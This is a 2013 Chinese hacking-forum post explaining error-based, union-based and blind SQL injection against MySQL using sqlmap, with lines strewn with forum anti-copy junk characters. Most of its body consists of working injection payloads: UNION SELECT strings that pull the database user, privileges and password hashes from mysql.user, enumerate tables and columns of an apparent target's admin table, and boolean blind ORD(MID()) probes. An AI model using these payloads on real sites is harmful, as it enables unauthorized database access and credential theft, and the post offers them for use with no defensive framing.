找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2344|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。& H$ b% e$ n( `, c- q* m2 A' ?
  F0 `& C& f# G$ @) g6 x" z
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
% [2 f4 @2 a4 C. h. C6 n
4 P& y; J; S6 X: M' p/ j分类标准        分类        备注
8 b1 `- v6 F. q" U& X# R4 f9 a按字段类型        整型注入,字符型注入        0 u9 K2 J) M$ q+ g
按出现的位置        get注入,post注入,cookie注入,http header注入        / ^% \8 R) h# X/ E  l' i
然而高级注入是这样的
1 O7 f  S  t, [, C, k5 J8 n$ S
! N3 D7 O) b7 O9 r高级注入分类        条件
$ U; V6 o# t. ~/ Z* {error-based sql        数据库的错误回显可以返回,存在数据库,表结构, d) a, _$ |8 _, F
union-based sql        能够使用union,存在数据库,表结构; P' f4 s$ m  y4 m/ T' i
blind sql        存在注入
8 f8 u' K7 D% n6 y' [1 q  Q, e我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。* `/ f& F8 O6 g1 e# p7 f$ `

4 \8 v8 v/ Z: R1 ^0 p3 r7 l: T好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火4 ]  ^& g3 @8 |1 O0 a8 y1 B5 u

) d4 \. r+ C2 k* r' n, ?8 p附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
0 Z$ M5 D; z  j5 P: U
% l* m1 r9 e8 e* ^: d这里用mysql说明
, p8 l0 p( q. [& L- ]. u% ^! y) _ ! \2 j: u( R% ]  q" T
e注入坛子里很多了,请看戳我或者再戳我0 m  F1 z$ b3 ~& k# b4 `$ Q2 }6 G4 N

) U0 T% Q4 O  w& r0 N7 }5 b9 bu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
# o0 }' l; I1 v& U9 p
4 o* d3 t" P3 p4 D2 v' }; K$ S获取当前数据库用户名4 m) V; F4 m- y4 i/ Z: Y3 S. ]

" K1 L1 L9 B2 h( a; E6 E5 [6 M3 YUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
1 F2 V6 i/ V' R$ b$ GAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
& u+ C8 u; \$ l# ^# jL, NULL#
4 A) i, D# [5 V( d' f3 E$ I注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
; Y0 q& m3 O* C4 T# r7 o ' ^8 _+ v$ n) _- u
获取数据库名
% q% P1 @3 z% x5 R* j( j2 H; P1 {0 c. Y # D% X$ }/ ~) |
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#3 z) L  T$ W$ K/ `1 Z
获取所有用户名
9 I: v% r) f- _7 y0 c) G) H0 T
5 w1 e7 q, U. \) s5 {UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#6 j5 }: A' k: \. M& J! v
查看当前用户权限
% p# U! w- U6 B, ~+ I- H 7 K' i8 o- A5 _+ T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#0 V- g" a! P# Q6 G
尝试获取密码,当然需要有能读mysql数据库的权限% l1 }1 c/ a: u/ V3 f- O4 H

: A( B3 ?7 @; _4 ^5 G2 k& D' tUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#* h/ Z2 {- z$ D1 u+ c7 ^
获取表名,limit什么的自己搞啦* F. N% h- D" W9 Z% V; R$ r* P  H4 x
' P% v$ _2 \  x8 C0 h
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#$ ~6 H4 b( [! |) l
获取字段名及其类型- h6 `0 A4 L$ x6 A6 e/ B
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#' T1 v: x& e1 v( X6 `, g" C

  c  ]5 V( X$ G3 q3 ]( U1 Tb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
0 R; G. P$ E; o6 P* l6 `  M
, Y( m! ]2 f& e5 B8 q如:% t7 N' i  @: k* w- ]/ p5 F; w
获取当前用户名
# W* R! i7 E* ?! K 3 e6 W" n' N) ]6 o; E1 I" z0 F% F, ?
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
$ E% j4 J. `& ?4 q1 \获取当前数据库
0 |: k3 L1 y- M% V8 y# I- r% e : {: E) t) n; Q) c
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
7 t' w& C. N. n- o获取表名$ n( @' r0 V; |
. x$ T4 _, O2 i$ l( D
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 518 u+ g/ l3 p- V0 G) l
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。& _. p- f  ^3 j5 p& M, e5 |6 l$ K, C
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
* }2 u& p) Z  q) t爆表
- W% l9 X- n' w! s
( }/ }: q/ |2 ]1 R$ v2 J0 |0 jAND EXISTS(select * from table)
0 a" h: x' q/ @. j爆字段
- X  a9 \! H) r) P# D5 s
- T3 J# D& |$ s. j8 \4 jAND EXISTS(select pwd from table)9 j2 y  C7 L% n/ L$ S! ^: P; G2 X5 y
盲注的变化就比较多了,由于篇幅,只是举个例子而已。, J$ U& ]- Z7 h3 E- p
" x) L' M% ]* Q6 ~
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。2 p% Y$ v$ J& a4 X6 ~5 x! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表